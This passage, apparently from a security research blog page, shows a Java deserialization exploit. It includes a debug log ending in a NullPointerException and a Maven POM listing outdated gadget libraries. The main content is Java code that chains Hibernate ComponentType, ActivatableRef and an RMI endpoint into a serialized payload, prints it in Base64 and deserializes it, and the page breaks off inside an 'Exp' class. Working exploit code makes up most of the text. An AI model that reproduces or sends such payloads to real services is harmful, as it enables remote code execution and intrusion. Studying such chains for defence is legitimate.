[main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Long;@130d63be</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Long[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Long;@130d63be&#x27;</span> to type <span class="string">&#x27;Long[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Long[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Short;@293a5bf6</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Short[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Short;@293a5bf6&#x27;</span> to type <span class="string">&#x27;Short[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Short[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.String;@1283bb96</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;String[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.String;@1283bb96&#x27;</span> to type <span class="string">&#x27;String[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a String[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Class;<span class="meta">@f6efaab</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Class[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Class;@f6efaab&#x27;</span> to type <span class="string">&#x27;Class[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Class[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.util.Date;@3c19aaa5</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Date[]&#x27;</span> value <span class="string">&#x27;[Ljava.util.Date;@3c19aaa5&#x27;</span> to type <span class="string">&#x27;Date[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Date[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.util.Calendar;@409bf450</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Calendar[]&#x27;</span> value <span class="string">&#x27;[Ljava.util.Calendar;@409bf450&#x27;</span> to type <span class="string">&#x27;Calendar[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Calendar[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.io.File;@49e53c76</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;java.io.File[]&#x27;</span> value <span class="string">&#x27;[Ljava.io.File;@49e53c76&#x27;</span> to type <span class="string">&#x27;java.io.File[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.io.File[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.sql.Date;@2a3b5b47</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;java.sql.Date[]&#x27;</span> value <span class="string">&#x27;[Ljava.sql.Date;@2a3b5b47&#x27;</span> to type <span class="string">&#x27;java.sql.Date[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Date[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.sql.Time;@35d019a3</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;java.sql.Time[]&#x27;</span> value <span class="string">&#x27;[Ljava.sql.Time;@35d019a3&#x27;</span> to type <span class="string">&#x27;java.sql.Time[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Time[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.sql.Timestamp;@18078bef</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;java.sql.Timestamp[]&#x27;</span> value <span class="string">&#x27;[Ljava.sql.Timestamp;@18078bef&#x27;</span> to type <span class="string">&#x27;java.sql.Timestamp[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.sql.Timestamp[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.net.URL;@4c371370</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;java.net.URL[]&#x27;</span> value <span class="string">&#x27;[Ljava.net.URL;@4c371370&#x27;</span> to type <span class="string">&#x27;java.net.URL[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a java.net.URL[]</span><br><span class="line">Exception in thread <span class="string">&quot;main&quot;</span> </span><br><span class="line">Exception: java.lang.NullPointerException thrown from the UncaughtExceptionHandler in thread <span class="string">&quot;main&quot;</span></span><br><span class="line"></span><br><span class="line">进程已结束，退出代码为 <span class="number">1</span></span><br></pre></td></tr></table></figure><p>依赖文件</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">project</span> <span class="attr">xmlns</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xmlns:xsi</span>=<span class="string">&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span></span></span><br><span class="line"><span class="tag">         <span class="attr">xsi:schemaLocation</span>=<span class="string">&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">modelVersion</span>&gt;</span>4.0.0<span class="tag">&lt;/<span class="name">modelVersion</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>untitled<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0-SNAPSHOT<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.source</span>&gt;</span>8<span class="tag">&lt;/<span class="name">maven.compiler.source</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">maven.compiler.target</span>&gt;</span>8<span class="tag">&lt;/<span class="name">maven.compiler.target</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">project.build.sourceEncoding</span>&gt;</span>UTF-8<span class="tag">&lt;/<span class="name">project.build.sourceEncoding</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-web<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>2.2.3.RELEASE<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.javassist<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>javassist<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.28.0-GA<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-collections<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.2.1<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>commons-beanutils<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.9.3<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">&lt;!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-core --&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.hibernate<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hibernate-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>5.6.15.Final<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.caucho<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>hessian<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>4.0.66<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>rome<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>rome<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.syndication.feed.impl.EqualsBean;</span><br><span class="line"><span class="keyword">import</span> org.hibernate.engine.spi.TypedValue;</span><br><span class="line"><span class="keyword">import</span> sun.reflect.ReflectionFactory;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.server.ActivatableRef;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.server.UnicastRef;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.transport.LiveRef;</span><br><span class="line"><span class="keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.activation.ActivationID;</span><br><span class="line"><span class="keyword">import</span> java.rmi.activation.Activator;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.ObjID;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.RemoteObjectInvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.RemoteRef;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.HashSet;</span><br><span class="line"><span class="keyword">import</span> java.util.Random;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="keyword">static</span> org.example.utils.setFieldValue;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">setFieldValue</span><span class="params">(Object obj, String fieldName, Object value)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> obj.getClass().getDeclaredField(fieldName);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        field.set(obj, value);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithConstructor</span><span class="params">(Class&lt;T&gt; classToInstantiate, Class&lt;? <span class="built_in">super</span> T&gt; constructorClass, Class&lt;?&gt;[] consArgTypes, Object[] consArgs)</span> <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException, InvocationTargetException &#123;</span><br><span class="line">        Constructor&lt;? <span class="built_in">super</span> T&gt; objCons = constructorClass.getDeclaredConstructor(consArgTypes);</span><br><span class="line">        objCons.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        Constructor&lt;?&gt; sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);</span><br><span class="line">        sc.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">return</span> (T) sc.newInstance(consArgs);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> &lt;T&gt; T <span class="title function_">createWithoutConstructor</span><span class="params">(Class&lt;T&gt; classToInstantiate)</span> <span class="keyword">throws</span> NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException &#123;</span><br><span class="line">        <span class="keyword">return</span> createWithConstructor(classToInstantiate, Object.class, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>], <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Class&lt;?&gt; componentTypeClass             = Class.forName(<span class="string">&quot;org.hibernate.type.ComponentType&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; pojoComponentTuplizerClass     = Class.forName(<span class="string">&quot;org.hibernate.tuple.component.PojoComponentTuplizer&quot;</span>);</span><br><span class="line">        Class&lt;?&gt; abstractComponentTuplizerClass = Class.forName(<span class="string">&quot;org.hibernate.tuple.component.AbstractComponentTuplizer&quot;</span>);</span><br><span class="line">        <span class="type">String</span> <span class="variable">host</span> <span class="operator">=</span> <span class="string">&quot;127.0.0.1&quot;</span>;</span><br><span class="line">        <span class="type">int</span>    <span class="variable">port</span> <span class="operator">=</span> <span class="number">13999</span>;</span><br><span class="line">        <span class="type">ObjID</span> <span class="variable">id2</span>  <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjID</span>(<span class="keyword">new</span> <span class="title class_">Random</span>().nextInt()); <span class="comment">// RMI registry</span></span><br><span class="line">        <span class="type">TCPEndpoint</span> <span class="variable">te</span>  <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TCPEndpoint</span>(host, port);</span><br><span class="line">        <span class="type">UnicastRef</span> <span class="variable">ref</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UnicastRef</span>(<span class="keyword">new</span> <span class="title class_">LiveRef</span>(id2, te, <span class="literal">false</span>));</span><br><span class="line">        <span class="type">RemoteObjectInvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RemoteObjectInvocationHandler</span>(ref);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">proxy</span> <span class="operator">=</span> Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Remote.class, Activator.class&#125;, handler);</span><br><span class="line">        <span class="type">ActivationID</span> <span class="variable">activationID</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ActivationID</span>((Activator) proxy);</span><br><span class="line">        <span class="type">ActivatableRef</span> <span class="variable">activatableRef</span> <span class="operator">=</span>(ActivatableRef) utils.createWithoutConstructor(<span class="string">&quot;sun.rmi.server.ActivatableRef&quot;</span>);</span><br><span class="line">        setFieldValue(activatableRef, <span class="string">&quot;id&quot;</span>, activationID);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> ActivatableRef.class.getDeclaredMethod(<span class="string">&quot;getRef&quot;</span>);</span><br><span class="line">        Object getter;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Class&lt;?&gt;       getterImpl  = Class.forName(<span class="string">&quot;org.hibernate.property.access.spi.GetterMethodImpl&quot;</span>);</span><br><span class="line">            Constructor&lt;?&gt; constructor = getterImpl.getDeclaredConstructors()[<span class="number">0</span>];</span><br><span class="line">            constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            getter = constructor.newInstance(<span class="literal">null</span>, <span class="literal">null</span>, method);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception ignored) &#123;</span><br><span class="line">            Class&lt;?&gt;       basicGetter = Class.forName(<span class="string">&quot;org.hibernate.property.BasicPropertyAccessor$BasicGetter&quot;</span>);</span><br><span class="line">            Constructor&lt;?&gt; constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);</span><br><span class="line">            constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">            getter = constructor.newInstance(activatableRef.getClass(), method, <span class="string">&quot;ref&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">tuplizer</span> <span class="operator">=</span> createWithoutConstructor(pojoComponentTuplizerClass);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> abstractComponentTuplizerClass.getDeclaredField(<span class="string">&quot;getters&quot;</span>);</span><br><span class="line">        field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">getters</span> <span class="operator">=</span> Array.newInstance(getter.getClass(), <span class="number">1</span>);</span><br><span class="line">        Array.set(getters, <span class="number">0</span>, getter);</span><br><span class="line">        field.set(tuplizer, getters);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">type</span> <span class="operator">=</span> createWithoutConstructor(componentTypeClass);</span><br><span class="line">        setFieldValue(type,<span class="string">&quot;componentTuplizer&quot;</span>,tuplizer);</span><br><span class="line">        setFieldValue(type,<span class="string">&quot;propertySpan&quot;</span>,<span class="number">1</span>);</span><br><span class="line">        setFieldValue(type,<span class="string">&quot;propertyTypes&quot;</span>,<span class="keyword">new</span> <span class="title class_">org</span>.hibernate.type.Type[]&#123;(org.hibernate.type.Type) type&#125;);</span><br><span class="line">        <span class="type">TypedValue</span> <span class="variable">typedValue</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TypedValue</span>((org.hibernate.type.Type) type, <span class="literal">null</span>);</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(typedValue, <span class="string">&quot;xxx&quot;</span>);</span><br><span class="line">        setFieldValue(typedValue,<span class="string">&quot;value&quot;</span>,activatableRef);</span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">barr</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(barr);</span><br><span class="line">        oos.writeObject(hashMap);</span><br><span class="line">        oos.close();</span><br><span class="line">        System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(barr.toByteArray()));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> (Object)ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Exp</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">base64Str</span> <span class="operator">=</span> <span 